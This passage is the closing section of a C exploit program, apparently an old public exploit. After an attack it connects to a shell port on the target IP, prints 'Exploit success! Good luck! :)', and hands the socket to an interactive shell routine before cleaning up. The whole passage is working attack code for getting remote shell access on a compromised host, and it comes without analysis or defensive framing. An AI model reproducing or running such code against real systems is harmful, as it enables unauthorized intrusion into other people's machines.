  713.                 server.sin_family = AF_INET;
  714.                 server.sin_port = htons(shport);
  715.                 server.sin_addr.s_addr=inet_addr(ip);
  716.  
  717.                 ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
  718.                 if(ret!=0)
  719.                 {
  720.                     printf("[-] Exploit seem failed.\n");
  721.                     __leave;
  722.                 }
  723.             
  724.                 printf("[+] Exploit success! Good luck! :)\n");
  725.                 printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
  726.                 shell(s2);
  727.             }
  728.         }    
  729.     }
  730.  
  731. #ifdef UNIX
  732. exit_try:
  733. #endif
  734.  
  735. #ifndef UNIX
  736.      __finally
  737. #endif
  738.     {
  739.         if(s != INVALID_SOCKET) closesocket(s);
  740.         if(s2 != INVALID_SOCKET) closesocket(s2);
  741.         if(s3 != INVALID_SOCKET) closesocket(s3);
  742.         
  743. #ifndef UNIX
  744.         WSACleanup();
  745. #endif
  746.     }
  747.  
  748.     return 0;
  749. }
  750.